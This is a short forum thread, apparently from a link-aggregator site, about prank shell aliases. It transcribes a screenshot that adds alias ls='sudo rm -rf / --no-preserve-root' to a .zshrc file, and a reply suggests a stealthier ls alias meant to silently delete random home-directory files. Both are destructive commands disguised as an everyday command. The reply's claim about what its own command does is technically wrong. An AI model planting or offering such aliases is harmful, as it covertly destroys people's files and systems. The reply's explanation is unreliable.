Image transcription: screenshot of neovim adding alias ls='sudo rm -rf / --no-preserve-root'
to the end of ~/.zshrc
You must log in or register to comment.
Why not make it more mischievous?
alias ls="find $HOME -type f | shuf -n 1 | rm -f; ls"
This line erases one random file from your home directory and then uses ls as normal. You won’t know what vanished until you need it or it removes a needed library or binary.